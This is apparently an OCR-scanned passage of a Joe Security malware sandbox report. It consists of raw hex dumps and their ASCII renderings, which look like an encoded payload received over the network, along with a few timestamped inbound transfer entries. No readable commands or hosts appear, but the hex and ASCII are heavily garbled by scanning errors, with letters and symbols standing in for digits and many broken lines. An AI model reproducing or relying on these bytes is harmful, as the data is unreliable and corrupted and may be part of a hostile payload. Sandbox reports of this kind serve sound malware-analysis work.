9il5d)|%d6ffe-d+ffel+d %f+iISN+fil5d+f %il9fil9d %f+ %N)%5%%f %+uf+uK P+df

Data Raw: 0d f9 1b da da eb e0 €9 c0 1c 25 25 7c 49 Ob 1c 25 75 0d c7 1b da da Oe e5 7e 49 Ob 1c 25 7c 11 c0 1c 25 64
20 1d c6 6 8d 25 a5 25 25 8f 25 66 20 1d 66 65 2d 75 0d b3 1b da da 66 20 1d 66 25 64 20 1d dd 11 c0 1c 25 16 20 1d
50 b6 dd 11 c0 1c 25 0d 43 d2 da da dd 21 c0 1c 25 0d 39 d2 da da dd 4d Ob 1c 25 0d 2f d2 da da 7c 09 c0 1c 25 64 20
21 5e 58 21 25 99 fc 66 20 21 66 25 7e 09 c0 1c 25 66 20 21 75 0d 08 1b da da 7c 09 cO 1c 25 64 20 21 5e 58 21 25 50 b
aOe e5 7f 34 34 89 64 35 8d b2 41 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 02 1b da da 8d f1 c0 1c 25 0d 00 1
b da da 9e c4 8a 41 25 25 c6 b6 34 34 38 9e b5 2e 5e e9 1d 16 e0 3d Ob 1c 25 50 e4 66 75 29 64 f0 3d Ob 1c 25 66 75 29
64 39 49 66 75 2d 5c 1f 25 35 25 25 5a 73 16 29 49 50 f2 60 {7 54

Data Ascii: %%|1%u~1%|%d %%%%f fe-uf f%d % P%C!%9M%/|%d "X!%f 11%~%f lu|%d "X!%P44d5Ae%(
9%%/%%A%%448./=%Pfu)d=%fu)d9Ifu-\%5%%Zs)IP T

Data Raw: 29 66 e2 7e 45 Ob 1c 25 66 22 29 7e 41 0b 1c 25 d5 dc 5e e9 35 3a 83 36 9e 68 65 25 2e 5e e9 1d 66 fd 66 9
68 1e 29 0d 19 1b da da 5e 61 49 25 99 e6 66 €9 0d 32 da da da a9 e5 50 29 Oe e5 c6 27 d5 dc 34 7f 36 9e b5 2e 7b 5e
€9 1d 66 17 66 fd 66 f1 68 7b 29 66 9e 0d 46 d2 da da 5e 61 49 25 99 e6 66 €9 0d 4b da da da a9 e5 50 29 Oe €5 c6 27
d5 dc 34 7f 83 36 9e 68 65 25 2c 66 f9 Oe a4 64 2f 60 e5 54 de 5e e5 de 9c 1d 27 18 25 29 25 25 5a f4 66 €8 49 Ob 1c 25
66 71 5¢ 19 64 2f 5e 5f 25 50 2d 65 18 dc 29 25 25 50 c2 66 27 7f 9e 68 65 25 2e 7b 32 30 5e €9 19 66 fd 68 99 49 2d 9a
3d 0b 1c 2598 41 0b 1c 25 7¢ 35 Ob 1c 25 64 2b 66 2b 16 7d 2d ea b3 86 25 25 25 66 €2 64 2b 66 2b 66 65 2d 16 fd ea b
3 bf 25 25 25 66 3b 64 7f 2d 66 3b 66 77 29 64 3b 66 3b 16 7f 2d

Data Ascii: Jf~E%f")~A%"5:6he%. ffh)al%f2P)'46.{ fffh{)fF al%fKP)'46he%,fd/ T '%)%%Zf%fq\d/"_%P-e)%%Pfhe%.{
20/fh1-=%A%|5%d+f+}-%%%fd+f+fe-%%%f;d-f;fw)d;f;-
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 8 IN
2022-06-26 07:42:48 UTC 9 IN
2022-06-26 07:42:48 UTC 10 IN
2022-06-26 07:42:48 UTC 12 IN
2022-06-26 07:42:48 UTC 13 IN
2022-06-26 07:42:48 UTC 14 IN
2022-06-26 07:42:48 UTC 16 IN
2022-06-26 07:42:48 UTC 17 IN
2022-06-26 07:42:48 UTC 18 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 65 25 a5 18 28 05 1c 25 25 99 2f 8d 1 ¢0 1c 25 0d 3f 11 da da 9e c4 d1 37 25 25 ¢6 0 66 20 21 36 66 cO 38
9e 66 €5 2e 7b 32 30 5e €9 19 66 ff 5e 9e €2 5e be 21 5 d6 31 58 €0 96 31 25 25 25 5e 0d 29 64 29 49 66 29 49 66 55
5¢ 0b 21 da da 5a 66 29 49 de eb 64 69 49 29 16 ce 50 e2 d5 dc c4 98 dc 25 25 16 ce ea b3 b5 25 25 25 66 13 06 c6 66
79 49 29 16 0 45 Ob 1c 25 50 51 04 08 45 Ob 1c 25 dc 08 41 Ob 1c 25 5e 18 41 Ob 1c 25 31 ea 68 4a dc 25 25 dc 08 45 0
b 1c 25 04 08 41 Ob 1c 25 66 03 c4 81 dc 25 25 64 69 49 29 66 69 49 29 1b 25 27 50 3d 66 69 49 29 64 69 49 2d 66 69
49 2d de 8d 2d 66 69 49 2d 0d 2c dO da da 5e d8 31 al fe 66 29 49 de 9e 64 69 49 29 5e a8 27 66 69 49 29 64 4d 66 69
49 29 5e €5 29 0d 67 1b da da c4 ea dc 25 25 66 03 ¢4 2d dc 25 25 66 d6

Data AsCil: €%6(%%/%627%%f 16f8f. {20/ ANATX1%6%96)d) If) FUNZD)Idil) PY%%%%%fTyl) EYP QE%A% A%1h
JUYEYAYI%%dilfil) % P=fil)dil-fil-fil- ALHIil il dMiN)) g%%f-%6f

Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba Oe c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50
65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f cO da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6
99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06
2b de 0d 66 €2 64 2b 66 2b a5 5d 45 52 ¢3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69
49 35 Oe c8 ¢c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2
4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d
2599 55 66 2b 75 0d 6¢ 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2

Data Ascii: +]GPf+GP/+'f+dil16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ER(il)f%%fil 1d+fil)f%dil5Vf
+]GPuf+ud+If+udf+N9f+%fyl5)O+ f+f+=GPf+]%Uf+uld+If+u’d

Data Raw: 59 65 25 25 25 a0 53 el c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1
a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1
3 f6 7 ae 73 65 c5 a9 39 65 3c 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d
9d 14 1a 5¢ 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5¢ 20 65 al 4a 21 40 65 c3 90 95
06 cd 88 a0 78 44 65 b0 cb aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 Ob
5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 al 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e bl Oa 8f
81 f4 21 4b 7 96 1e 9b be f1 17 04 Oa a9 5c 4b 69 7 2f b5

Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%|se9e<,4welOe_Ejle\e[j|:esB)eG\ eJ!@exD
e$e~9v;"nZ|;7gFO0hgUawgx, K\Ki/

Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5¢ 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da
3c 15 9e b5 77 2c 2e a9 f7 al de da 75 19 Oc 7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64
2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 €5 99 33 66 2d d7 5¢ 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25
9e 68 65 25 66 35 da 77 1d 9e 66 €5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 9e 66 5 a9 f7 5a dc 9e 75 77 66 35 da 77
0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f ¢8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25
99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e €9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f ¢8 33 da fO
3905 1c 25 5e €9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc

Data Ascii: {fW\#%N5uf%}df-<w,.uhql5f?ddD-)e%d1d/64 %%filQfel 3f-\u,!}%%% %%heY%f5wi.fffswiefZuwfswiM
9%%%%39%M%%uuwy'%39%"-the%y%39%")the%M%

Data Raw: 65 29 64 20 21 Oe e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20
1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 Oe e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da Od 9d d8 da da
0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e €9 1d 2e 7b 32 9a 5d Ob 1c 25 66 22 2d 60 e5 99 79 66 55 Oe b6 66 65
29 64 20 21 Oe e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 9
9 de da 30 1d 16 ce 5a Ob Oe e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d Oc da da da 0d 2d d8 da da 0d 32 d8 da da 3a
8336 34 3438 9e 2c 7b 32 €3 5d Ob 1c 25 68 58 €9 94 e6 25 25 25 ce 80 6a €0 7d Ob 1c 25 6a e0 79 Ob 1c 25 64 08 71
Ob 1c 25 64 f8 75 Ob 1c 25 7e 65 Ob 1c 25 64 f0 6d Ob 1c 25 68 28 e9

Data Ascii: e)d !108ae%UdE &d1f Ifi)d ~X%0°Z44d59|:64480f".{2]%f"-"yfUfe)d |0ae%UdE?f If)d d:1°X%0Z44d59-2:6448,
{2]%6hX%%%;}%jy%dq%du6~e%dm%h(

Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5¢ €9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66
a2 0d a9 23 da da c6 3a 68 93 dc 5¢c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66
fd 60 b6 al ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49
29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d ee 29 25 25 5¢ €9 29 35 25 25 38 3a 83 36 9e 77 64 07
94 dc 25 25 25 0d d6 23 da da 7f 9e b5 Oc a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29
c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29
99 33 8b 16 6f 2b 99 €0 5e e7 2d c6 09 5e e7 27 5e e7 27

Data Ascii: |8)%.{20\)uNfd9If Zf#:h\%%XM{hil-fql)%%f hy!)ffQFffW)%%6{ffql) fyf X'ff)%%\)5%%8:6wd%%%# w_/_0_0'_o
~gggd#he% w/Eo'0)30+"-"

Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 el da da da 66 6f 21 ac c4 ea a9
8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5¢ €9 29 15 da da 75 5e e9 21 66 cc 64 39
49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5¢c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2
25 25 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7
b 66 €2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83
36 9e 66 e5 60 a4 ea a9 31 da da da 75 2¢ 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5
0Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29

Data Ascii: %%%u”)sP6he% ‘fo!,wu0’L.{20\)urIfd9If Zf8h\%%XM{hil-fql) %%Af hyl) %% %Offf%%{ffql)ff X fD%%\)5%%8:
6f 1u,w #Wd"w/Eo'0)

Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29
0d 42 33 25 25 2a 5a ce c6 €8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da fO
3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb Oc e5 af 1c dc 68 al 2d 2f 66 4a 21 Oc e5 66 2a 1d 2c 66
222904 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 Oc a5 d4 e6 99 18 a5 d4 31 99
24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da
da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 ¢6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd
0d 2c da da da dd 35 25 25 25 c6 36 Oc a4 af 6f dc da 99 ec 27

Data Ascii: *Z8W0ddS'd*Z8Af")B3%%*Zf") E%%*Z:6"=%%=%5".{20ddh-/fJ!f* f*)df")ff7//1$03%%%%%%'8:6fOU) %
%%Xf9U)%%%h9U,5%%%60'

Data Raw: 66 3d 60 b6 5a f6 60 b6 58 €2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 Oe da 5e
58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 7
99 e2 66 27 64 20 1d c6 e0 Oe e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e
20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 6
6 ae ea 8afb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66
20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66
20 0d 5e e5 2d Oe a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 0d

Data Ascii: f="Z"X)f 1f0>%%"X%"H)f f]*H)f e f f'fu+'f'd d fd f t)7 -*X%-f A|Paf d ~X%f ~-fffOh fOf d >f -f >d dX8Xd8"X%Qf0f
A-ef ufoIf7f
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 20 IN
2022-06-26 07:42:48 UTC 21 IN
2022-06-26 07:42:48 UTC 22 IN
2022-06-26 07:42:48 UTC 24 IN
2022-06-26 07:42:48 UTC 25 IN
2022-06-26 07:42:48 UTC 26 IN
2022-06-26 07:42:48 UTC 28 IN
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Copyright Joe Security LLC 2022

Data

Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba
23 dada 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d
€6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 Oe e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e
c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da
da 75 0d 2c df da da Oe b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 6
0 ba 23 dada 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23
da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da

Data Ascii: %%%h #%%\h uh u%%h #uf u'Gh uh u%%}e%f u’) % %44d522e%f u%%:f !uh'#uh uZu,#%%%%
X%P/X%%%%h #uhp#d (f ]Sh'# Ph'# %%%

Data Raw: 5e €9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f Oe €5 64 20 15 ¢4 e4 dc 25 25 a2 20 15 da da da
da Oe 5 Oe 1b 5e 58 21 25 ea a9 84 25 25 25 ¢4 a7 25 25 25 66 30 19 Oe a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e
fd 25 25 25 5e be 1a 1b 9¢ 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be €5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25
25 25 a5 07 1a 5¢ 07 da 25 25 25 9¢ be 2b 6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be 5 a5 d6 a5 ea 60 68 25 25 25 a5
07 1a 5¢ 07 da 25 25 25 9¢ bc 2b 8b €6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d
ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b
e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39

Data Ascii: A.{d(d0d I"X%P/d %% ~X1%%6%6%%%%6f01WKP-"%%6%6"E STOOWKF %%6%6P-"%%%\%%6%+f09WkKF h%%6%6\
%6%06+(1d9f0ld1geP-N )f mf0!)g%%"P-Ngf09WKUP-NE9f09

Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d
bd dadada 7c cl e5 1c 25 75 0d 38 da da da 7e 99 0b 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c
25da 99 f8 7c cl e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31
252525 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c cl e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 Ob 1c 2
57ccle5lc25a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 dada da 7c cl e5 1c 25 75 0d f7 23 da da 60 e5 99
dc 9e 7c¢ 99 Ob 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31
dc 50 4f 75 77 eb €0 89 Ob 1c 25 dc 66 28 2d 64 e8 8d Ob 1c 25 64 6f

Data Ascii: |%uh6f1%%% ~%)|%u8~%he%, 1%%% K"%|%u[d)*al%f)Iu1f1%%% "%|%u#%| %PKfQ%%%f)| You# | %

u# %% "X1POuw%f(-d%do

Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da Oe e5 30 8d 9f 42
65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b al 55 6b Oe da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d
d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb Oe e5 7f 34 34 89 64 35 8d
5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 f7 da da c6 03 af 20
ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 Oe {7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 8
4 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 ¢6 61 84 25 25 25 a5 99 2d 5¢ ef a5 25 25 25 c6 08 5e
ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29

Data Ascii: d !f(f 1f%5e%f 0Be%UdE %fPks Ukf8!f ufug# Pf -d] "*)sP44d5\Be%bh f If(f%5e% fXfPf8f8)%%%%
)+H\%'%%%%%E %% %e % %% e Ea%%%-\%% %" 5% % %e % %%")

Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 cO
389e 30 66 11 Oe e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 Ob 1c 25 Oe e5 7f 34 34 89 64 35 8d b9 91 65 25 9e
¢4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 Ob 1c 25 dc 9e 8d Ob 1c 25 15 da 25 25 8d 0b 1c 25 cc da 25 25 8d Ob 1c¢ 25
17 da 25 25 8d Ob 1c 25 ce da 25 25 8d Ob 1c 25 19 da 25 25 8d Ob 1c 25 dO da 25 25 8d Ob 1c 25 1b da 25 25 8d Ob 1c
25 d2 da 25 25 8d Ob 1c 25 1d da 25 25 8d Ob 1c 25 d4 da 25 25 8d Ob 1c 25 1f da 25 25 8d Ob 1c 25 d6 da 25 25 8d Ob
1c 25 21 da 25 25 8d Ob 1c 25 d8 da 25 25 8d Ob 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d Ob 1c 25 05 da 25 25 8d
0Ob 1c 25 be da 25 25 8d Ob 1c 25 07 da 25 25 8d 0b 1c 25 be da 25 25 8d

Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e %8 % %% %% % % %% %% % %% % %% %% % % % %% %% %% % % %% %
9% %% %! %% %% % %6#% %% % % % %% %% % % %% %% %

Data Raw: 25 25 25 25 25 f1 4c¢ 65 25 35 25 25 25 4d 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65
2559 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3¢ 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4¢ 65 25 d9
5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97
4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65
25 35 25 25 25 05 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 bl 59
65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25

Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Yek7 @< >@DIQe%%%%%%%%%%%%%%
9%%%%%% %% %%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%Y Ye%uYe%Ye% $ Ife%%%%%%%%%% %%
9%%%%% %% %% %% %% %% % %e%5%% %L e%[e%[e%[e%[e%[e%Y Ye%uYe%YeY%/ iDgT@Je%%%%% %%

Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e
99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59
59 65 25 7559 65 25 b1 59 65 25 e4 20 le 4a 93 99 97 4a 91 1e 66 e5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65
25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e8 20 7b 3¢ 97 44 3¢ 93 99 20 97 97 4a 97 66 5 49 9d
65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25

Data Ascii: [e%[e%[e%[e%[e%Y Ye%uYe%Ye%3 .<>F*@JRRe%%%%%%%%% %% % % %% %% %% %
%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%Y YeYuYe%Ye% JIRe%%%%%% % %%%%% % %%%%%
%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%Y YeYuYe%Ye% {<D< Jfle%%%%%%%%%%% %%
9%%%%%%%%% %%

Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83
da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2
04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e Oc
e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da
da 75 8f 25 8d 25 29 25 25 0d 87 Ob da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2
da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f Ob da da 5e 0d 27 83 36 9e 2e 7b 6
6 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5

Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n’P {fffufufufu%%)%%"'6 {fffufufufu%)%%O"'6.{ffff 6

Data Raw: 9¢c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d Oa 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d
ab 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e
7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f
3a 8336 9e 2e 7b 32 2¢ 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da
66 29 49 7f 32 83 36 9e 30 66 11 5e €9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1
d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c 9 d9

23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d

Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hil)u2{.'P)If)l:6 {2 fff%hil)u2{."P)If)1:60f"{fff -d f 1d !{h !uf u.td f
